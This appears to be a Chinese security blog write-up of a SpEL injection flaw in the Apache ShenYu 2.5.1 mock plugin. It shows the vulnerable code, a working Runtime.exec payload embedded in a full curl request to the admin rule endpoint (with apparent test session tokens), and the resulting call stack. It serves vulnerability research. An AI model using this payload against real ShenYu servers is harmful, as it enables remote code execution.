apache-shenyu_2.5.1_spel

分析

shenyu-plugin/shenyu-plugin-mock/src/main/java/org/apache/shenyu/plugin/mock/generator/ExpressionGenerator.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
    public String doGenerate(final List<String> params, final String rule, final MockRequest mockRequest) {

String expression = params.get(0);

CONTEXT.setVariable("req", mockRequest);
Object val = PARSER.parseExpression(expression).getValue(CONTEXT);
return JsonUtils.toJson(val);
}
...
private static EvaluationContext initContext() {

StandardEvaluationContext context = new StandardEvaluationContext();

try {
registerMockFunction(context, "double", "randomDouble", double.class, double.class, String[].class);

registerMockFunction(context, "bool", "bool");

registerMockFunction(context, "int", "randomInt", int.class, int.class);

registerMockFunction(context, "email", "email");

registerMockFunction(context, "phone", "phone");

registerMockFunction(context, "zh", "zh", int.class, int.class);

registerMockFunction(context, "en", "en", int.class, int.class);

registerMockFunction(context, "oneOf", "oneOf", Object[].class);

registerMockFunction(context, "current", "current", String[].class);

registerMockFunction(context, "array", "array", Object.class, int.class);

context.addPropertyAccessor(new MapAccessor());

} catch (NoSuchMethodException e) {
// It will never happen
LOG.error(e.getMessage(), e);
}
return context;
}
...

​ 可以看见没有对穿传入的字符进行过滤,context也是使用的StandardEvaluationContext,也就是我们可以直接传入恶意字符,造成命令执行。

在官网的文件docs/plugin-center/mock/mock-plugin ,记录着使用spel时的格式。

${expression|spel}

  • 说明:直接使用Spel表达式生成数据
  • 示例${expression|T(java.time.LocalDate).now()}${expression|1==1}

复现

​ 先在 http://ip:9095/#/config/plugin 开启Mock插件。

 然后在http://ip:9095/#/plug/Mock/mock , 加入一个选择器,填入名称"/spel",类型为全流量, 执行循序为1.

然后添加规则,填入名称”/spel”,匹配规则为”or”,url = /spel,处理为 httpStatusCode为200时,responseContent 填入sel表达式

1
${expression|T(java.lang.Runtime).getRuntime().exec('touch /tmp/deadbeef')}

对应数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
curl 'http://ip:9095/rule' \
-H 'Accept: application/json' \
-H 'Accept-Language: zh-CN,zh;q=0.9' \
-H 'Access-Control-Allow-Origin: *' \
-H 'Cache-Control: no-cache' \
-H 'Connection: keep-alive' \
-H 'Content-Type: application/json; charset=utf-8' \
-b 'JSESSIONID=568706BC869CC95A2236FAB2A051447D; java-chains-token-key=admin_token' \
-H 'Origin: http://ip:9095' \
-H 'Pragma: no-cache' \
-H 'Referer: http://ip:9095/' \
-H 'Sec-Fetch-Dest: empty' \
-H 'Sec-Fetch-Mode: cors' \
-H 'Sec-Fetch-Site: same-origin' \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36' \
-H 'X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNzQyNzU2NTU3fQ.pFnZYsn-vTn9qdVnN3z478ZBo8Nd6SC6Zvj78ft-cZo' \
-H 'sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"' \
-H 'sec-ch-ua-mobile: ?0' \
-H 'sec-ch-ua-platform: "macOS"' \
--data-raw $'{"selectorId":"1903523694510424064","name":"/spel","matchMode":"1","handle":"{\\"httpStatusCode\\":200,\\"responseContent\\":\\"${expression|T(java.lang.Runtime).getRuntime().exec(\'touch /tmp/deadbeef\')}\\"}","loged":true,"enabled":true,"sort":1,"ruleConditions":[{"paramType":"uri","operator":"=","paramName":"/","paramValue":"/spel"}]}'

然后点击同步mock。

最后访问shenyu-bootstrap的地址http://ip:9195/spel, 触发spel记载。

它会在shenyu-bootstrap的服务器的/tmp下生成一个deadbeef文件

Call Stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
        at java.lang.ProcessBuilder.start(ProcessBuilder.java:1048)
at java.lang.Runtime.exec(Runtime.java:620)
at java.lang.Runtime.exec(Runtime.java:450)
at java.lang.Runtime.exec(Runtime.java:347)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.springframework.expression.spel.support.ReflectiveMethodExecutor.execute(ReflectiveMethodExecutor.java:139)
at org.springframework.expression.spel.ast.MethodReference.getValueInternal(MethodReference.java:139)
at org.springframework.expression.spel.ast.MethodReference.throwSimpleExceptionIfPossible(MethodReference.java:241)
at org.springframework.expression.spel.ast.MethodReference.getValueInternal(MethodReference.java:143)
at org.springframework.expression.spel.ast.MethodReference.access$000(MethodReference.java:55)
at org.springframework.expression.spel.ast.MethodReference$MethodValueRef.getValue(MethodReference.java:386)
at org.springframework.expression.spel.ast.CompoundExpression.getValueInternal(CompoundExpression.java:92)
at org.springframework.expression.spel.ast.SpelNodeImpl.getValue(SpelNodeImpl.java:112)
at org.springframework.expression.spel.standard.SpelExpression.getValue(SpelExpression.java:273)
at org.apache.shenyu.plugin.mock.generator.ExpressionGenerator.doGenerate(ExpressionGenerator.java:54)
at org.apache.shenyu.plugin.mock.generator.ExpressionGenerator.doGenerate(ExpressionGenerator.java:34)
at org.apache.shenyu.plugin.mock.generator.Generator.generate(Generator.java:50)
at org.apache.shenyu.plugin.mock.generator.GeneratorFactory.generate(GeneratorFactory.java:82)
at org.apache.shenyu.plugin.mock.generator.GeneratorFactory.dealRule(GeneratorFactory.java:101)
at org.apache.shenyu.plugin.mock.MockPlugin.dealRule(MockPlugin.java:78)
at org.apache.shenyu.plugin.mock.MockPlugin.lambda$doExecute$0(MockPlugin.java:56)
at reactor.core.publisher.FluxMap$MapSubscriber.onNext(FluxMap.java:106)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onNext(FluxSwitchIfEmpty.java:74)
at reactor.core.publisher.Operators$ScalarSubscription.request(Operators.java:2398)
at reactor.core.publisher.Operators$MultiSubscriptionSubscriber.set(Operators.java:2194)
at reactor.core.publisher.Operators$MultiSubscriptionSubscriber.onSubscribe(Operators.java:2068)
at reactor.core.publisher.MonoJust.subscribe(MonoJust.java:55)
at reactor.core.publisher.Mono.subscribe(Mono.java:4400)
at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onComplete(FluxSwitchIfEmpty.java:82)
at reactor.core.publisher.FluxContextWrite$ContextWriteSubscriber.onComplete(FluxContextWrite.java:126)
at reactor.core.publisher.FluxMapFuseable$MapFuseableConditionalSubscriber.onComplete(FluxMapFuseable.java:350)
at reactor.core.publisher.FluxFilterFuseable$FilterFuseableConditionalSubscriber.onComplete(FluxFilterFuseable.java:391)
at reactor.core.publisher.Operators$MonoSubscriber.complete(Operators.java:1817)
at reactor.core.publisher.MonoCollect$CollectSubscriber.onComplete(MonoCollect.java:159)
at reactor.core.publisher.FluxMap$MapSubscriber.onComplete(FluxMap.java:144)
at reactor.core.publisher.FluxPeek$PeekSubscriber.onComplete(FluxPeek.java:260)
at reactor.core.publisher.FluxMap$MapSubscriber.onComplete(FluxMap.java:144)
at reactor.core.publisher.Operators.complete(Operators.java:137)
at reactor.netty.channel.FluxReceive.startReceiver(FluxReceive.java:161)
at reactor.netty.channel.FluxReceive.lambda$subscribe$2(FluxReceive.java:146)
at io.netty.util.concurrent.AbstractEventExecutor.runTask(AbstractEventExecutor.java:174)
at io.netty.util.concurrent.AbstractEventExecutor.safeExecute(AbstractEventExecutor.java:167)
at io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:470)
at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:503)
at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:995)
at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74)
at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
at java.lang.Thread.run(Thread.java:748)

apache-shenyu_2.5.1_spel
https://unam4.github.io/2025/04/04/apache-shenyu-2-5-1-spel/
作者
unam4
发布于
2025年4月4日
许可协议